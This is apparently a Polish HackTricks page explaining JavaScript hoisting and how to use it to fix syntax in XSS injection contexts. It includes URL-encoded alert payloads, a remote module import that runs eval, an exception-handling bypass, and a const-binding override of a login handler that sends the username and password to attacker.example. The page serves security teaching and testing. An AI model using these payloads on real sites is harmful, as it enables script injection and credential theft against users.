Hoisting w JS
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
W języku JavaScript istnieje mechanizm znany jako Hoisting, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie podnoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przetwarza skrypt w kilku przejściach.
Podczas pierwszego przejścia silnik parsuje kod w celu sprawdzenia błędów składniowych i przekształca go w drzewo składniowe (AST). Ta faza obejmuje hoisting — proces, w którym niektóre deklaracje są przesuwane na początek kontekstu wykonania. Jeśli faza parsowania zakończy się pomyślnie, co oznacza brak błędów składniowych, wykonanie skryptu jest kontynuowane.
Ważne jest zrozumienie, że:
- Skrypt musi być wolny od błędów składniowych, aby mogło nastąpić jego wykonanie. Zasady składni należy ściśle przestrzegać.
- Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, choć wykonywany kod może różnić się od jego reprezentacji tekstowej.
Rodzaje Hoistingu
Na podstawie informacji z MDN wyróżnia się cztery odrębne rodzaje hoistingu w JavaScript:
- Value Hoisting: Pozwala na użycie wartości zmiennej w jej zakresie przed linią deklaracji.
- Declaration Hoisting: Umożliwia odwołanie się do zmiennej w jej zakresie przed deklaracją bez powodowania
ReferenceError, ale wartością zmiennej będzieundefined. - Ten typ zmienia zachowanie w swoim zakresie, ponieważ deklaracja zmiennej występuje przed jej rzeczywistą linią deklaracji.
- Skutki uboczne deklaracji występują zanim reszta kodu ją zawierającego zostanie oceniona.
Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe var demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują let, const i class, pokazują zachowanie typu 3. Na koniec, instrukcje import są unikalne tym, że są hoistowane zarówno z zachowaniem typu 1, jak i typu 4.
Scenariusze
W związku z tym, jeśli masz scenariusze, w których możesz wstrzyknąć kod JS po użyciu niezadeklarowanego obiektu, możesz naprawić składnię deklarując go (tak, aby twój kod został wykonany zamiast zgłaszania błędu):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Więcej scenariuszy
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting aby obejść obsługę wyjątków
Gdy sink jest opakowany w try { x.y(...) } catch { ... }, ReferenceError zatrzyma wykonywanie zanim twój payload zostanie uruchomiony. Możesz wcześniej zadeklarować brakujący identyfikator, tak by wywołanie przetrwało i twoje wstrzyknięte wyrażenie wykonało się jako pierwsze:
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){} jest hoistowany przed ewaluacją, więc parser nie wyrzuca już błędu dla x.y(...); prompt() wykonuje się zanim y zostanie rozwiązane, a następnie TypeError jest rzucany po wykonaniu twojego kodu.
Zabezpiecz późniejsze deklaracje, blokując nazwę za pomocą const
Jeśli możesz wykonać kod zanim zostanie sparsowana deklaracja top-level function foo(){...}, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. const foo = ...) uniemożliwi późniejszej deklaracji funkcji ponowne powiązanie tego identyfikatora. Można to wykorzystać w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Notatki
- To opiera się na kolejności wykonywania i zakresie globalnym (top-level).
- Jeśli twój payload jest wykonywany wewnątrz
eval(), pamiętaj, żeconst/letwewnątrzevalmają zasięg blokowy i nie utworzą wiązań globalnych. Wstrzyknij nowy element<script>z kodem, aby ustanowić prawdziwy globalnyconst.
Dynamic import() with user-controlled specifiers
Aplikacje renderowane po stronie serwera czasami przekazują dane użytkownika do import() w celu lazy-load komponentów. Jeśli obecny jest loader taki jak import-in-the-middle, z specyfikatora generowane są wrapper modules. Ewaluacja importu z hoistingiem pobiera i wykonuje kontrolowany przez atakującego moduł przed wykonaniem kolejnych linii, umożliwiając RCE w kontekstach SSR (zob. CVE-2023-38704).
Tooling
Nowoczesne skanery zaczęły dodawać eksplicytne hoisting payloads. KNOXSS v3.6.5 wymienia przypadki testowe “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” oraz “Hoisting Override”; uruchomienie go przeciwko kontekstom RXSS, które rzucają ReferenceError/TypeError, szybko ujawnia hoist-based gadget candidates.
References
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage – hoisting override cases
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


